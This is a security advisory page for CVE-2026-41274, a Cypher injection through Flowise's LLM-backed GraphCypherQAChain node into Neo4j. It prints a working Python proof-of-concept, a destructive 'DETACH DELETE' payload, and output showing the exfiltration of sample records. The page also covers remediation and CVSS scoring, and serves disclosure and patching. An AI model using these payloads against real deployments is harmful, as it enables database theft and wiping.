CVE-2026-41274 — Flowise: Cypher Injection in flowise — CVE Details
Flowise: Cypher Injection in GraphCypherQAChain
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.76%). Schedule for your next planned update.
Does your project use an affected flowise version?
Paste your package-lock.json to check it for CVE-2026-41274 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.
Vulnerability Details
| Field | Value |
|---|---|
| Affected File | packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts |
| Affected Lines | 193-219 (run method) |
Prerequisites
To exploit this vulnerability, the following conditions must be met:
- Neo4j Database: A Neo4j instance must be connected to the Flowise server
- Vulnerable Chatflow Configuration:
- A chatflow containing the Graph Cypher QA Chain node
- Connected to a Chat Model (e.g., ChatOpenAI)
- Connected to a Neo4j Graph node with valid credentials
- API Access: Access to the chatflow's prediction endpoint (
/api/v1/prediction/{flowId})
Root Cause
In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
const chain = nodeData.instance as GraphCypherQAChain
// ...
const obj = {
query: input // User input passed directly
}
// ...
response = await chain.invoke(obj, { callbacks }) // Executed without escaping
}
Impact
An attacker with access to a vulnerable chatflow can:
- Data Exfiltration: Read all data from the Neo4j database including sensitive fields
- Data Modification: Create, update, or delete nodes and relationships
- Data Destruction: Execute
DETACH DELETEto wipe entire database - Schema Discovery: Enumerate database structure, labels, and properties
Proof of Concept
poc.py
#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)
Usage:
python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""
import argparse
import json
import urllib.request
import urllib.error
def post_json(url, data, headers):
req = urllib.request.Request(
url,
data=json.dumps(data).encode("utf-8"),
headers={**headers, "Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
ap.add_argument("--token", help="Bearer token / API key if required")
ap.add_argument(
"--injection",
default="MATCH (n) RETURN n",
help="Cypher payload to inject",
)
args = ap.parse_args()
payload = {
"question": args.injection,
"overrideConfig": {},
}
headers = {}
if args.token:
headers["Authorization"] = f"Bearer {args.token}"
url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"
try:
status, body = post_json(url, payload, headers)
print(body if body else f"(empty response, HTTP {status})")
except urllib.error.HTTPError as e:
print(e.read().decode("utf-8", errors="replace"))
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
Test Environment Setup
1. Start Neo4j with Docker:
docker run -d \
--name neo4j-test \
-p 7474:7474 \
-p 7687:7687 \
-e NEO4J_AUTH=neo4j/testpassword123 \
neo4j:latest
2. Create test data (in Neo4j Browser at http://localhost:7474):
CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)
3. Configure Flowise chatflow (see screenshot)
Exploitation Steps
# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
--flow-id <FLOW_ID> --token <API_KEY> \
--injection "MATCH (n) DETACH DELETE n"
Evidence
Cypher injection reaching Neo4j directly:
$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...}
The error message comes from Neo4j, proving the injected Cypher is executed directly.
Data destruction confirmed:
$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}
Empty result indicates all nodes were deleted.
Sensitive data exfiltration:
$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}
Advisory Timeline
- First published April 16, 2026 (224 days ago).
- Last revised May 5, 2026 — 19 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install flowise@3.1.0
npm install flowise-components@3.1.0
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (2)
Affects 1 ecosystem: npm (2).
| Package | Fixed In |
|---|---|
| flowise npm · Affected: All versions | 3.1.0 |
| flowise-components npm · Affected: All versions | 3.1.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-943
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
References
Frequently Asked Questions
- What is CVE-2026-41274?
- Flowise: Cypher Injection in GraphCypherQAChain. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2026-41274?
- CVE-2026-41274 affects flowise and flowise-components. It has a 0.8% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-41274 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 51.7% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-69254CRITICAL
Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
- CVE-2026-41264CRITICAL
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
- CVE-2026-69264CRITICAL
Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation
- CVE-2026-69251CRITICAL
Flowise RCE via TypeORM DataSource
- CVE-2025-61913CRITICAL
Flowise is vulnerable to arbitrary file write through its WriteFileTool
- CVE-2026-41265CRITICAL
Flowise: Airtable_Agent Code Injection Remote Code Execution Vulnerability
- CVE-2026-69255CRITICAL
Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified
- CVE-2026-56274HIGH
Flowise has an MCP Security Bypass that Enables RCE